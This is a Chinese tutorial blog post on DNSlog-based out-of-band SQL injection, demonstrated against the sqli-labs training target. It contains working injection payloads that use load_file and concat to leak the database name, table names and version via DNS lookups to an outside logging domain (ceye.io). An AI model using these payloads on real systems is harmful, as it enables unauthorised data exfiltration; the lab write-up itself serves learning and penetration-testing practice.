SQL DNSlog注入实战
今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL DNSlog注入。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、SQL DNSlog注入简介
SQL Dnslog注入是一种特殊的SQL注入显示方式,我们都知道,不论是使用基于bool的SQL盲注,还是基于时间的SQL盲注,都有一个问题,即注入的时间比较慢。此外,还有一些非常特殊的应用场景,我们可以把我们的payload放到目标站点上执行,但是目标站点没有明显的回显,在这种情况下,我们就可以使用SQL DNSLog注入。
DNSlog的SQL注入,指的是使用load_file函数,使得站点访问时加载我们指定的文件,该函数支持加载远程文件。这样,我们就可以将load_file()函数的参数设置成我们指定的站点,并且使用concat函数来执行我们想要探测的SQL语句,并且把SQL语句的执行结果作为load_file()函数访问站点的一部分,当我们发起DNS请求时,目标站点可以通过设置来记录这些信息,于是也就得到了SQL语句执行的结果。
二、SQL DNSlog注入实战
想要实现DNSLog注入,那么我们就必须先拥有一个能够正常进行DNS查询,并且能够把域名请求记录下来的服务器,http://ceye.io/就是一个可以实现并记录DNS域名查询结果,并且帮助我们实现DNSLog注入的网站。
我们在注册该站点后,该站点会给予我们一个子域名,如下图红线所示:
我们只要发起对该子域名下的次级子域名的DNS访问请求,就可以借此被该站点记录,并且显示给我们。
基于此,我们可以实现DNSLog注入了。
我们使用sqli_lab作为靶场,该靶场原始网页如下所示:
首先,我们可以构造DNSLog注入的payload,
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.ubhdz9.ceye.io\\abc'))--+
在上述payload中,我们把select database()语句嵌入到了load_file()函数中,使其作为load_file()函数的一部分,使得该站点启用DNS查询。
同理,我们可以构造其他形式的payload,例如查询数据库表名的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.ubhdz9.ceye.io\\abc'))--+
以及查询数据库版本的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select version()),'.ubhdz9.ceye.io\\abc'))--+
上述payload执行结果如下图所示:
从上图可以看出,我们的SQL DNSLog注入成功!
到此这篇关于SQL DNSlog注入详解的文章就介绍到这了,更多相关SQL DNSlog注入内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
相关文章
Windows2012配置SQLServer2014AlwaysOn的图解
SQLserver 2014 AlwaysOn增强了原有的数据库镜像功能,使得先前的单一数据库故障转移变成以组(多个数据)为单位的故障转移。接下来通过本文给大家介绍Windows2012配置SQLServer2014AlwaysOn的方法,感兴趣的朋友一起学习吧2016-04-04SQL Server中row_number分页查询的用法详解
这篇文章主要介绍了SQL Server中row_number的用法详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧2020-07-07SQLSERVER 中datetime 和 smalldatetime类型分析说明
SQL SERVER 中datetime 和 smalldatetime类型分析说明,需要的朋友可以参考下,什么时候用什么语句。2009-11-11
最新评论